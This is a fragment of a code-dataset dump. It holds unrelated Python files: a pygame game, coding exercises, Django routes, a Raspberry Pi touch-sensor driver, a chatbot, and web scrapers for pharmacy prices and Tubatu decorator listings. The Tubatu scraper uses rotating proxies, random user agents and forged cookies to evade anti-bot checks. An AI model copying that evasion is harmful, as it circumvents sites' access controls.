 elif not player2.alive and player == player2:\n        #both the players have played\n        #displaying hte necessary message\n        text = \"\"\n        if(player2.score > player1.score):\n            text = f\"Player2 won by {player2.score}-{player1.score}\"\n        elif(player1.score > player2.score):\n            text = f\"Player1 won by {player1.score}-{player2.score}\"\n        else:\n            text = f\"IT's a Draw\"\n        t = font.render(f\"{text}\", True, MESSAGE_COLOR)\n        SCREEN.blit(t, (WIDTH/2-100, HEIGHT/2-20))\n        pygame.display.update()\n        pygame.time.delay(4000)\n        \n        #restaring the game automatically\n        player = None\n        player1 = Player(1, \"player1\")\n        player2 = Player(-1, \"player2\")\n        continue\n    \n    #drawing the stages,fireballs, explosions,enemies and the player\n    for i in range(STAGES):\n        SCREEN.blit(gnd[gnd_c], (0, HEIGHT-STAGE_WIDTH*i-80))\n        dragon_list[i].update(player)\n        SCREEN.blit(dragon_list[i].surf, dragon_list[i].rect)\n    for fireballs in fireball:\n        SCREEN.blit(fireballs.surf, fireballs.rect)\n        fireballs.update(player)\n    for explosion in explosions:\n        SCREEN.blit(explosion.surf, explosion.rect)\n        explosion.update(player)\n    for gem in gems:\n        SCREEN.blit(gem.surf, gem.rect)\n        gem.update(player)\n    for enemy in enemies:\n        SCREEN.blit(enemy.surf, enemy.rect)\n        enemy.update(player)\n    SCREEN.blit(player.surf, player.rect)\n\n    # checking key presses\n    pressed_keys = pygame.key.get_pressed()\n    player.update(pressed_keys)\n\n    pygame.display.flip()\n    SCREEN.fill((255, 255, 255))\n\n\n# pygame quitting\npygame.quit()\n","repo_name":"ace-spadez/pygame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69977496968","text":"import datetime\n\ndef solution(book_time):\n    \n    Room = []\n    time = {}\n\n    for time in book_time:\n        s_h = int(time[0].split(':')[0])\n        s_m = int(time[0].split(':')[1])\n        e_h = int(time[1].split(':')[0])\n        e_m = int(time[1].split(':')[1])\n        \n        c_start = s_h*60 + s_m\n        c_end = e_h*60 + e_m + 10\n        \n        Room.append([c_start,1])\n        Room.append([c_end,-1])\n\n    Room.sort()\n    number=0\n    max_num = 0\n    print(Room)\n    \n    for i in range(len(Room)-1):\n        number += Room[i][1]\n        \n        if(number>max_num):\n            if(Room[i][0] != Room[i+1][0]):\n                max_num = number\n            \n    if(number+Room[-1][1] > max_num):\n        max_num = number+Room[-1][1]\n    print(max_num)\n        \n    answer = max_num\n        \n    \n        \n    \n        \n    \n    \n    \n#     Room = []\n#     for time in book_time:\n\n#         s_h = int(time[0].split(':')[0])\n#         s_m = int(time[0].split(':')[1])\n#         e_h = int(time[1].split(':')[0])\n#         e_m = int(time[1].split(':')[1])\n        \n#         c_start = datetime.time(s_h, s_m)\n        \n#         if(e_h==23 and e_m>=50):\n#             c_end = datetime.time(23, 59)\n#         elif(e_m>=50):\n#             c_end = datetime.time(e_h+1, e_m-50)\n#         else:\n#             c_end = datetime.time(e_h, e_m+10)\n            \n#         flag = 1\n        \n#         for room in Room:\n#             flag = 1\n#             length = len(room)\n\n#             #start 찾기\n#             start_index = -1\n#             end_index = -1\n\n#             if(c_start>=room[-1]):  #  맨 뒤에 추가\n#                 room.append(c_start)\n#                 room.append(c_end)\n#                 flag = 0\n#                 break\n#             elif(c_end <= room[0]): # 맨 앞에 추가\n#                 room.insert(0, c_start)\n#                 room.insert(1, c_end)\n#                 flag = 0\n#                 break\n#             else:\n#                 # start 찾기\n#                 for i in range(1, length):\n#                     if(c_start>=room[i-1] and c_start<room[i]):\n#                         start_index = i\n#                         break\n#                 # end 찾기\n#                 for i in range(length):\n#                     if(c_end>room[i-1] and c_end<=room[i]):\n#                         end_index = i\n#                         break\n#                 # start end index  비교\n#                 if(start_index == end_index and start_index%2==0):\n#                     room.insert(start_index, c_start)\n#                     room.insert(start_index+1, c_end)\n#                     flag = 0\n#             if(flag == 0):\n#                 break\n#         # flag = 0 이면 이미 추가된거고 1이면 아직 추가 안된것\n                \n#         if(flag == 1):  # 새로운 룸에 추가 (아무것도 없을때도 추가)\n#             Room.append([c_start, c_end])  \n#     print(Room)\n\n#     answer = len(Room)\n    return answer","repo_name":"dainshon/CODING","sub_path":"프로그래머스/unrated/155651. 호텔 대실/호텔 대실.py","file_name":"호텔 대실.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35145713495","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport json\nimport numpy as np\nimport pandas as pd\n\nclass Graber: \n    \n    url = 'https://apteki.su/'\n    city = ''\n\n    def __init__(self, city = ''):\n        if city != '':\n            self.city = city\n            self.url = f\"https://{city}.apteki.su//catalog//Оземпик\"\n\n    def openDriver(self):\n        self.driver = webdriver.Chrome()\n        self.driver.get(self.url)\n\n    def waitLoadElement(self):    \n        pass\n    \n    def getCity(self):\n        places = None\n        city_list = []\n        try:\n            element = WebDriverWait(self.driver, 30).until(EC.presence_of_element_located(\n                (By.XPATH, \"//*[@class='location-window__list location-window__list_city']\")))\n        finally:\n            while places is None:\n                places = self.driver.execute_script(\"return sessionStorage.getItem('places');\")\n\n            places_json = json.loads(places)\n            \n            for place in places_json:\n                city_list.append(place['alias'])\n            city_list.sort()\n        return city_list\n\n    def getPrice(self):\n        table = self.driver.find_element(By.CLASS_NAME, 'search-select-form__item-list')\n        elements = table.find_elements(By.TAG_NAME, 'dl')\n        element_array = []\n        for element in elements:\n            name = element.find_elements(By.TAG_NAME, 'dt')[0].text\n            price = element.find_elements(By.TAG_NAME, 'dd')[0].text\n            element_array.append([self.city, name, price])\n        return element_array\n        \n    def closeDriver(self):\n        self.driver.quit()\n\n#MAIN\n#get all city`s\ngraber = Graber()\ngraber.openDriver()\ncity_list = graber.getCity()\ngraber.closeDriver()\n\n\n#get price in some city\nprices = []\nfor city in city_list:\n    try:\n        graber = Graber(city)\n        graber.openDriver()\n        pricesInCity = graber.getPrice()\n        for priceInCity in pricesInCity:\n            prices.append(priceInCity)\n        print (f'{city} --- grabed')\n    except:\n        prices.append([city, 'nil', 'nil'])\n        print (f'{city} --- error')\n        \n    graber.closeDriver()\n\n\n#save to csv\ndf = pd.DataFrame(prices, columns = ['city', 'name', 'price'])\ndf.to_csv('test.csv', index=False)\n","repo_name":"Zork777/GruberApteki","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20967129777","text":"total_problemas = int(input())\n\nqtd_certezas = 0\nQTD_AMIGOS = 3\nQTD_MIN_CERTEZAS = 2\n\nfor n in range(total_problemas):\n    temp = 0\n    certezas_n = input().split(' ')\n    for i in range(QTD_AMIGOS):\n        temp += int(certezas_n[i])\n    if temp >= QTD_MIN_CERTEZAS:\n        qtd_certezas += 1\n\nprint(qtd_certezas)","repo_name":"nszchagas/APC-codes","sub_path":"5_iteracoes/questao8.py","file_name":"questao8.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27952981766","text":"from django.urls import path\r\nfrom . import views\r\nfrom . import apiview\r\n\r\nurlpatterns=[\r\n     path('', views.index,name=\"index\"),\r\n     path('<int:task_id>/', views.task_detail, name='task_detail'),\r\n     path('form',views.task_form,name=\"task_form\"),\r\n     path('api', apiview.api,name =\"Api_View\"),\r\n     path ('api/<int:pk>',apiview.api_task_detail,name= \"Api Task Details\")\r\n]","repo_name":"PizzaMGx/DjangoTodo","sub_path":"tasks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22875135923","text":"#! /usr/bin/python\n#-*-coding: utf-8 -*-\n\n\"\"\"\nPython code to use the MPR121 capacitive touch sensor from Adafruit with a Raspberry Pi to count/log touches, while ignoring 'un-touch' events.\nCounting/Logging happens in a threaded callback (using RPi.GPIO.add_event_callback) triggered from the IRQ pin on the MPR121\n\nAdafruit_MPR121 requires the Adafuit MPR121 library which, in turn, requires the Adafuit GPIO library for I2C-bus access:\ngit clone https://github.com/adafruit/Adafruit_Python_MPR121 \ngit clone https://github.com/adafruit/Adafruit_Python_GPIO\n\nNOTE :\nAdafruit_Python_MPR121 has been deprecated. Adafruit has a new module for mpr121 using CircuitPython at github.com/adafruit/Adafruit_CircuitPython_MPR121\nbut this requires the whole CircuitPython install, which is rather large. It may be worth switching to this in the future.\n\"\"\"\n\nfrom Adafruit_MPR121 import MPR121\nimport RPi.GPIO as GPIO\n\nfrom array import array\nfrom time import time, sleep\n\ngTouchDetector = None        # global reference to touchDetector for use in touchDetector callback\n\n\nclass TouchDetector (MPR121.MPR121):\n    \"\"\"\n    *******************  TouchDetector inherits from Adafruit's MPR121 capacitive touch sensor code *************************\n\n    mnemonic defines for use in controlling touchDetector callback\n    \"\"\"\n    callbackCountMode = 1   # callback counts touches on set of pin in touchPins\n    callbackTimeMode = 2    # callback records time of each touch for each pin in touchPins \n    callbackCustomMode = 4  # callback calls user-supplied custom function with touched pin\n\n    @staticmethod\n    def touchDetectorCallback (channel):\n        \"\"\"\n        Touch Detector callback, triggered by IRQ pin.  The MPR121 sets the IRQ pin high whenever the touched/untouched state of any of the\n        antenna pins changes. Calling MPR121.touched () sets the IRQ pin low again.  MPR121.touched() returns a 12-but value\n        where each bit represents a pin, with bits set for pins being touched, and un-set for pins not being touched. The callback tracks only touches, \n        not un-touches, by keeping track of last touches. The callback counts touches on a set of pins, and/or logs timestamps of touches\n        on a set of pinss, and/or calls a user-supplied custom function with the touched pin as the only parameter.\n        \"\"\"\n        global gTouchDetector\n        touches = gTouchDetector.touched ()\n        # compare current touches to previous touches to find new touches\n        for pin in gTouchDetector.touchPins:\n            pin = int(pin)\n            pinBits = 2**pin\n            if (touches & pinBits) and not (gTouchDetector.prevTouches & pinBits):\n                if gTouchDetector.callbackMode & TouchDetector.callbackCountMode:\n                    gTouchDetector.touchCounts [pin] +=1\n                if gTouchDetector.callbackMode & TouchDetector.callbackTimeMode:\n                    gTouchDetector.touchTimes.get(pin).append (time())\n                if gTouchDetector.callbackMode & TouchDetector.callbackCustomMode:\n                    gTouchDetector.customCallback (pin)\n        gTouchDetector.prevTouches = touches\n        \n    \n    def __init__(self, I2Caddr, touchThresh, unTouchThresh, pinTuple, IRQpin):\n        \"\"\"\n        inits the MPR121 superclass, does MPR121 stuff, then does touchDetector stuff\n        \"\"\"\n        # MPR121 stuff\n        super().__init__()\n        self.begin(address =I2Caddr)\n        self.set_thresholds (touchThresh, unTouchThresh)\n        #touchDetector specific stuff, making data arrays, and installing callback\n        # the tuple of pin numbers to monitor, passed in\n        self.touchPins = pinTuple\n        # an array of ints to count touches for each pin, for callbackCountMode\n        # we make an array for all 12 pins, even though we may not be monitoring all of them\n        self.touchCounts = array ('i', [0]*12)\n        # a dictionary of lists to capture times of each touch on each pin, for callbackTimeMode\n        self.touchTimes = {}\n        for pin in self.touchPins:\n            self.touchTimes.update({pin : []})\n        # customCallback will contain reference to custom callback function, when installed\n        self.customCallback = None\n        # make global gTouchDetector reference this TouchDetector\n        global gTouchDetector\n        gTouchDetector = self\n        # set up IRQ interrupt pin for input with pull-up resistor. Save IRQpin so we can remove event detect when object is deleted\n        self.IRQpin = IRQpin\n        GPIO.setmode (GPIO.BCM) # GPIO.setmode may already have been called, but call it again anyway\n        GPIO.setup(IRQpin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n        # install callback\n        GPIO.add_event_detect (self.IRQpin, GPIO.FALLING)\n        GPIO.add_event_callback (self.IRQpin, TouchDetector.touchDetectorCallback)\n        # callback mode, variable that tracks if we are counting touches, logging touch times, or running custom callback\n        # callback is always running, even when callbackMode is 0, but we don't always log the touches\n        self.callbackMode = 0\n        # initial state of touches, saved from one callback call to next, used in callback to separate touches from untouches\n        self.prevTouches = self.touched()\n\n\n    def __del__ (self):\n        \"\"\"\n        Removes the event detect callback and cleans up the GPIO pin used for it\n        \"\"\"\n        GPIO.remove_event_detect (self.IRQpin)\n        GPIO.cleanup (self.IRQpin)\n \n    def addCustomCallback (self, customCallBack):\n        \"\"\"\n        sets the custom callback that will be called on a per-pin basis from main callback\n        \"\"\"\n        self.customCallback = customCallBack\n\n    def startCustomCallback(self):\n        \"\"\"\n        sets callback mode field so main callback calls custom callback\n        \"\"\"\n        if self.customCallback is not None:\n            self.callbackMode |= TouchDetector.callbackCustomMode\n\n    def stopCustomCallback(self):\n        \"\"\"\n        sets callback mode field so main callback stops calling custom callback\n        \"\"\"\n        self.callbackMode &= ~TouchDetector.callbackCustomMode\n\n    def startCount (self):\n        \"\"\"\n        Zeros the array that stores counts for each pin, and makes sure callback is filling the array for requested pins\n        \"\"\"\n        for i in range (0,12):\n            self.touchCounts [i] = 0\n        self.callbackMode |= TouchDetector.callbackCountMode\n        \n    def resumeCount(self):\n        self.callbackMode |= TouchDetector.callbackCountMode\n        \n    def getCount (self):\n        results = []\n        for pin in self.touchPins:\n            pin = int(pin)\n            results.append ((pin, self.touchCounts [pin]))\n        return results\n\n    def stopCount (self):\n        \"\"\"\n        returns a list of tuples where each member is a pin number and the number of touches for that pin\n        call startCount, wait a while for some touches, then call stopCount\n        \"\"\"\n        self.callbackMode &= ~TouchDetector.callbackCountMode\n        results = []\n        for pin in self.touchPins:\n            pin = int(pin)\n            results.append ((pin, self.touchCounts [pin]))\n        return results\n\n\n    def startTimeLog (self):\n        \"\"\"\n        clears the dictionary of lists used to capture times of each touch on each pin\n        \"\"\"\n        for pin in self.touchPins:\n            pin = int(pin)\n            self.touchTimes.update({pin : []})\n        self.callbackMode = self.callbackMode | TouchDetector.callbackTimeMode\n\n    def stopTimeLog (self):\n        \"\"\"\n        returns a shallow copy (the lists in the original and copy are the same)\n        of the dictionary of lists of touch times for each pin\n        \"\"\"\n        self.callbackMode &= ~TouchDetector.callbackTimeMode\n        return self.touchTimes.copy()\n\n    def waitForTouch (self, timeOut_secs, startFromZero=False):\n        \"\"\"\n        Waits for a touch on any pin. Returns pin that was touched, or 0 if timeout expires with no touch,\n        or -1 if startFromZero was True and the detector was touched for entire time\n        \"\"\"\n        endTime = time() + timeOut_secs\n        if self.prevTouches == 0: # no touches now, wait for first touch, or timeout expiry\n            while self.prevTouches ==0 and time() < endTime:\n                sleep (0.05)\n            return self.prevTouches\n        else: #touches already registered\n            if not startFromZero: # we are done already\n                return self.prevTouches\n            else: # we first wait till there are no touches, or time has expired\n                while self.prevTouches > 0 and time() < endTime:\n                    sleep (0.05)\n                if time() > endTime: # touched till timeout expired\n                    return -1\n                else: # now wait for touch or til timeout expires\n                    while self.prevTouches == 0 and time() < endTime:\n                        sleep (0.05)\n                    return self.prevTouches # will be the pin touched, or 0 if no touches till timeout expires\n\n\n","repo_name":"jamieboyd/TouchDetector","sub_path":"TouchDetectorMPR121.py","file_name":"TouchDetectorMPR121.py","file_ext":"py","file_size_in_byte":9052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"72320554568","text":"from imageai.Detection.Custom import CustomObjectDetection\n\ndetector = CustomObjectDetection()\ndetector.setModelTypeAsYOLOv3()\ndetector.setModelPath(\"../models/modelo_moedas_igor.h5\") #copiado do models p/ facilitar nome\ndetector.setJsonPath(\"../models/json/detection_config.json\") #como esse n muda o nome, faz ref direta\ndetector.loadModel()\npath_in = \"../images_in/\"\npath_out = \"../images_out/\"\nfilename = \"real-2.jpg\"\ndetections = detector.detectObjectsFromImage(input_image=path_in+filename, output_image_path=path_out+filename)\nfor detection in detections:\n    print(detection[\"name\"], \" : \", detection[\"percentage_probability\"], \" : \", detection[\"box_points\"])","repo_name":"gdinn/real-imageai","sub_path":"scripts/img_analysis.py","file_name":"img_analysis.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30687038588","text":"import time\nlist_words = ['hello', ' day', 'love', 'good', 'hi']\n\nresponse = {\n    'hello': 'hi dear, how are you today',\n    'day': 'going well thank you',\n    'love': 'thanks',\n    'doing good': 'am also doing good, and nice to know'\n}\nuser_input = input('chat with our chat bot :\\n ')\nwhile len(user_input) > 0:\n    if list_words[0] in user_input or list_words[4] in user_input:\n        print('response processing')\n        time.sleep(2)\n        print(response['hello'])\n    elif list_words[1] in user_input:\n        print('response processing')\n        time.sleep(2)\n        print(response['day'])\n    elif list_words[2] in user_input:\n        print('response processing')\n        time.sleep(2)\n        print(response['love'])\n    elif list_words[3] in user_input:\n        print('response processing')\n        time.sleep(2)\n        print(response['doing good'])\n    elif user_input == 'exit':\n        print('pleasure talking to you, hope to talk to you next time')\n        time.sleep(2)\n        exit()\n    elif 'can' and 'question' in user_input:\n        print('response processing')\n        time.sleep(2)\n        print('you can ask your question')\n    elif 'question' in user_input and 'can' not in user_input:\n        print('response processing')\n        time.sleep(2)\n        print('sorry am just a bolt but our customer care can assist you better, contact them on 09090240674')\n    else:\n        print(\"sorry i don't have a response for that question\")\n    user_input = input()\n","repo_name":"Esi-meci/chatbot","sub_path":"structure.py","file_name":"structure.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11810385916","text":"import os\r\n# import requests\r\n# from bs4 import BeautifulSoup as soup\r\nimport pandas as pd\r\n\r\nimport utils as ut\r\nfrom config import Settings\r\n\r\nconfig = Settings()\r\n\r\n\r\ndef Crawl_data(base_url=config.base_url, save_path=config.data_folder, load_time=3):\r\n\r\n    return_reviews, return_sentiments = ut.crawl_data_from_url(\r\n        base_url,\r\n        no_load=load_time,\r\n        reviews=[],\r\n        sentiments=[]\r\n    )\r\n\r\n    df = pd.DataFrame({\"Reviews\": return_reviews,\r\n                       \"sentiment\": return_sentiments})\r\n    file_name = f'{len(df)}_crawling_data.csv'\r\n    df.save_csv(os.path.join(save_path, file_name))\r\n\r\n\r\ndef main():\r\n\r\n    base_url = config.base_url\r\n    save_path = config.data_folder\r\n    load_time = 1\r\n\r\n    Crawl_data(base_url, save_path, load_time)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"gaster08nan/Sentiment-Classification","sub_path":"crawl_data.py","file_name":"crawl_data.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39275186296","text":"class DoublyLinkedListNode:\n    def __init__(self, value):\n        self.value = value\n        self.next_node = None\n        self.prev_node = None\n\n    def __repr__(self):\n        return f\"DoublyLinkedListNode(value={self.value})\"\n\n\nif __name__ == '__main__':\n    a = DoublyLinkedListNode(\"a\")\n    b = DoublyLinkedListNode(\"b\")\n    c = DoublyLinkedListNode(\"c\")\n    d = DoublyLinkedListNode(\"d\")\n\n    a.next_node = b\n    b.prev_node = a\n    b.next_node = c\n    c.prev_node = b\n    c.next_node = d\n    d.prev_node = c\n\n    print(c.prev_node, c.next_node)\n","repo_name":"ArtyomKozyrev8/algorithms_training","sub_path":"algorithms/linked_list/doubly_linked_list.py","file_name":"doubly_linked_list.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70707961927","text":"#!/usr/bin/env Python\r\n#-*-coding:utf-8-*-\r\n\r\n# author    :Guido.shu\r\n# datetime  :2020/4/20 9:47\r\n# software  : PyCharm\r\nimport requests\r\nfrom pyquery import PyQuery as pq\r\nfrom proxyTool import AbuyunSpider\r\nimport time\r\nimport random\r\nimport re\r\nfrom urllib import parse\r\nfrom conf.useragent import random_useragent\r\n\r\n\r\n\"\"\"\r\n土巴兔爬虫\r\n需求：爬取 城市、类型（家装or工装），家庭公司名称、地址、电话、设计案例、装修公司数\r\n\"\"\"\r\n\r\n\r\nclass TubatuSpider(object):\r\n\r\n    def __init__(self):\r\n        self.requestsProxies = self.reutnRequestsProxies()\r\n        self.builtUrl = 'https://sz.to8to.com/'\r\n\r\n    def reutnRequestsProxies(self):\r\n        \"\"\"\r\n        :return: 返回requests的proxies\r\n        \"\"\"\r\n        return AbuyunSpider.returnRequestProxies()\r\n\r\n    def returnBuiltHeaders(self, path, item, RefererUrl=None, page=None):\r\n        \"\"\"\r\n        构造headers\r\n\r\n        :return:\r\n        \"\"\"\r\n        city = parse.quote(item['city'])\r\n        city_num = item['city_num']\r\n        city_type = item['city_type']\r\n\r\n        sourceUrl_built_url = 'https%3A%2F%2F{}.to8to.com%2Fcompany%2F'.format(city_num)\r\n        firstUrl_built_url = 'https://{city_num}.to8to.com/company/{city_type}/'.format(city_num=city_num,city_type=city_type)\r\n        sourceUrl = item['sourceUrl'].replace('://', '%3A%2F%2F').replace('/', \"%2F\") if item.get('sourceUrl') else sourceUrl_built_url\r\n        firstUrl = item.get('firstUrl').replace('://', '%3A%2F%2F').replace('/', \"%2F\") if item.get('firstUrl') else firstUrl_built_url.replace(':/', '%3A%2F%2F').replace('/', \"%2F\")\r\n        nowpage = item.get('firstUrl').replace('://', '%253A%252F%252F').replace('/','%252F') if item.get('firstUrl') else firstUrl_built_url.replace(':/', '%253A%252F%252F').replace('/', \"%252F\")\r\n        if not page:\r\n            landpage = 'https%3A//sz.to8to.com/'\r\n        else:\r\n            landpage = firstUrl\r\n        headers = {\r\n            # \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\r\n            # \"accept-encoding\": \"gzip, deflate, br\",\r\n            # \"accept-language\": \"zh-CN,zh;q=0.9\",\r\n            # \"cache-control\": \"no-cache\",\r\n            # \"pragma\": \"no-cache\",\r\n            # \"sec-fetch-dest\": \"document\",\r\n            # \"sec-fetch-mode\": \"navigate\",\r\n            # \"sec-fetch-site\": \"cross-site\",\r\n            # \"sec-fetch-user\": \"?1\",\r\n            # \"upgrade-insecure-requests\": '1',\r\n            \"user-agent\": random_useragent()\r\n            ,\"cookie\": \"uid=CgoKUF61XAWCtJc0A7vvAg==; \"\r\n                       \"to8tocookieid=f982c677f999237b9fe9e5ee3947f2cc806225; \"\r\n                       \"tracker2019session=%7B%22session%22%3A%2217201522ce2109-0c32fb225c0495-14291003-2073600-17201522ce3201%22%7D; \"\r\n                       \"tracker2019jssdkcross=%7B%22distinct_id%22%3A%2217201522ce612f-03e21b7f111ee1-14291003-2073600-17201522ce71e%22%7D; \"\r\n                       \"to8to_sourcepage=; to8to_landtime=1589160062; \"\r\n                       \"to8to_cook=OkOcClPzRWV8ZFJlCIF4Ag==; \"\r\n                       \"to8to_townid=1103; to8to_tcode=sh; \"\r\n                       \"to8to_tname=%E4%B8%8A%E6%B5%B7; \"\r\n                       \"Hm_lvt_dbdd94468cf0ef471455c47f380f58d2=1589160063; \"\r\n                       \"tender_popup_flag=true;\"\r\n                       \" ONEAPM_BI_sessionid=9238.924|1589197648127; \"\r\n                       \"Hm_lpvt_dbdd94468cf0ef471455c47f380f58d2={times}; act=freshen;\"\r\n                       \"to8to_landpage={landpage}; \"\r\n                       \"to8to_tcode={city_num}; to8to_tname={city}; \"\r\n                       \"to8to_cmp_sourceUrl={sourceUrl}; \"\r\n                       \"to8to_cmp_firstUrl={firstUrl}; \"\r\n                       \"to8to_nowpage={nowpage}; \".format(city=city,\r\n                                                          city_num=item['city_num'],\r\n                                                          sourceUrl=sourceUrl,\r\n                                                          firstUrl=firstUrl,\r\n                                                          nowpage=nowpage,\r\n                                                          landpage=landpage,times=now_to_timestamp())\r\n        }\r\n        if RefererUrl:\r\n            headers['Referer'] = RefererUrl\r\n        headers['sourceUrl'] = sourceUrl\r\n        return headers\r\n\r\n    def process_response(self, response, meta, item):\r\n        \"\"\"\r\n        处理response\r\n        :param response:\r\n        :return:\r\n        \"\"\"\r\n        # print(response)\r\n        with open('土巴兔.html','w',encoding='utf-8') as f:\r\n            f.write(response.text)\r\n        documents = pq(response.text)\r\n        li_params = documents('.company__list--content > ul > li')\r\n        for li in li_params.items():\r\n            bulitDivs = li('.company__info')\r\n            href_params = li('a').attr('href')\r\n            #todo:公司名称\r\n            companyName = bulitDivs('.company__info--top').text()\r\n            #todo:评论数量\r\n            commentNum = bulitDivs('.company__info--all > .comment-count').text()\r\n            #todo:日志数量\r\n            logNum = bulitDivs('.company__info--all > .owner-diary').text()\r\n            #todo：最近签约\r\n            clientStatus = bulitDivs('.company__info--all')('.info-num > .recent-signing').text()\r\n            #todo:价格\r\n            priceNum = bulitDivs('.company__info--all')('.info-num > .average-price').text()\r\n\r\n            print(companyName,commentNum,logNum,clientStatus,priceNum,href_params)\r\n\r\n        #下一页\r\n        print('ssssss', response.url)\r\n        nextPage = documents('#nextpageid').attr('href')\r\n        if nextPage:\r\n            page = re.search(re.compile('(\\d+)'), nextPage)\r\n            item['sourceUrl'] = meta['firstUrl']\r\n            item['firstUrl'] = response.url\r\n            print('################正在爬取{}页##############'.format(int(page.group(1))-1))\r\n            nextUrl = self.builtUrl + nextPage.split('/')[1] + '/' + meta['key_con'] + '-' + nextPage.split('/')[-1] + '/'\r\n\r\n            response,meta = self.process_request(nextUrl, meta=meta, Referer=response.url, item=item)\r\n            meta['firstUrl'] = response.url\r\n            self.process_response(response=response, meta=meta,item=item)\r\n        else:\r\n            page = re.search(re.compile('page(\\d+)'), response.url)\r\n\r\n        print('################正在爬取{}页##############'.format(page.group(1)))\r\n\r\n    #todo：处理requests 请求URL\r\n    def process_request(self, nextPage, meta, item,Referer=None):\r\n        path_params = '/' + '/'.join(nextPage.split('/')[-3:])\r\n        \"\"\"\r\n        header\r\n        \"\"\"\r\n\r\n\r\n\r\n        headers = self.returnBuiltHeaders(path=path_params, RefererUrl=Referer, item=item)\r\n        meta['firstUrl'] = headers['sourceUrl']\r\n        del headers['sourceUrl']\r\n        while 1:\r\n            try:\r\n                first_url = nextPage[:-1]\r\n                first_res = requests.get(first_url, headers={'user-agent': random_useragent()})\r\n                with open('ss1.html', 'w') as f:\r\n                    # print(first_res.text)\r\n                    f.write(first_res.text)\r\n                second_res = nextPage.replace('https', 'http')\r\n                second_res = requests.get(second_res, headers={'user-agent': random_useragent()})\r\n                with open('ss2.html', 'w') as f:\r\n                    # print(second_res.text)\r\n                    f.write(second_res.text)\r\n                three_yrl = nextPage\r\n                response = requests.get(url=three_yrl,\r\n                                        headers=headers,\r\n                                        timeout=3, allow_redirects=False, proxies=self.reutnRequestsProxies())\r\n                if response.status_code == 200:\r\n                    return response,meta\r\n                else:\r\n                    print(response)\r\n            except Exception as e:\r\n                print(e)\r\n                time.sleep(random.randint(2, 5))\r\n\r\n\r\n\r\n    #todo：处理url\r\n    def process_start(self):\r\n        \"\"\"\r\n        处理url\r\n        :return:\r\n        \"\"\"\r\n        url_item = {\r\n            'ht1': \"小户型\",\r\n            # 'ht4': \"普通住宅\",\r\n        }\r\n        city_params = [\r\n            {'city': '上海', \"city_num\": \"sh\"},\r\n            # {'city': '深圳', \"city_num\": \"sz\"},\r\n        ]\r\n        for key, value in url_item.items():\r\n            for x in city_params:\r\n                url = 'https://{city_num}.to8to.com/company/{key}/'.format(city_num=x['city_num'], key=key)\r\n                x['city_type'] = key\r\n                response = self.process_request(url, meta={'key_con': key, \"value_con\": value}, item=x)\r\n                print(response)\r\n                self.process_response(response[0], meta=response[1], item=x)\r\n\r\n    def start(self):\r\n        print('###########################土巴兔爬虫开启##############')\r\n\r\n        self.process_start()\r\n\r\ndef now_to_timestamp(digits = 10):\r\n    \"\"\"获取13位时间\"\"\"\r\n    time_stamp = time.time()\r\n    digits = 10 ** (digits -10)\r\n    time_stamp = str(round(time_stamp*digits))\r\n    return time_stamp\r\n\r\nif __name__ == '__main__':\r\n    tubatu = TubatuSpider()\r\n    tubatu.start()","repo_name":"917868607/spider_project","sub_path":"spider/Tubatu_spider.py","file_name":"Tubatu_spider.py","file_ext":"py","file_size_in_byte":9273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15181176588","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom WarpUtils import *\nfrom ProcessEXR import *\nfrom CropPano import *\nfrom Consts import *\n\ndef createDataset():\n    exr_files = [f for f in listdir(hdr_dataset_dir) if isfile(join(hdr_dataset_dir,f)) and f.endswith(\".exr\")]\n    random.shuffle(exr_files)\n    for f in exr_files[:4]:\n        name = f[:-4]\n        processHDR(name)\n\n\ndef processHDR(name):\n    # load HDR & segmap\n    count = 16\n    hdr_data = exr2array(hdr_dataset_dir+name+\".exr\")\n    # segmap = plt.imread(light_masks_dir+name+\"_light_mask.jpg\")\n    gray_segmap = plt.imread(light_masks_dir+name+\"_light_semantic_map.jpg\")\n    segmap = np.expand_dims(gray_segmap, axis=-1)\n    print(np.unique(segmap))\n    print(segmap.shape)\n\n    # cropped_hdr = []\n    converted_ldr = []\n    cropped_segmap = []\n    for i in range(count):\n        c1 = 0.125*(i-1)  # (-0.25, 0, 0.25, 0.5, ..., 1.5), total: 8\n        # c2 = 0.2\n        c2 = np.clip(np.random.normal(loc=CROP_DISTRIB_MU, scale=CROP_DISTRIB_SIGMA), a_min=0.2, a_max=0.55)\n        # c2 = np.random.uniform(low=0.2, high=0.5)\n        # c2 = 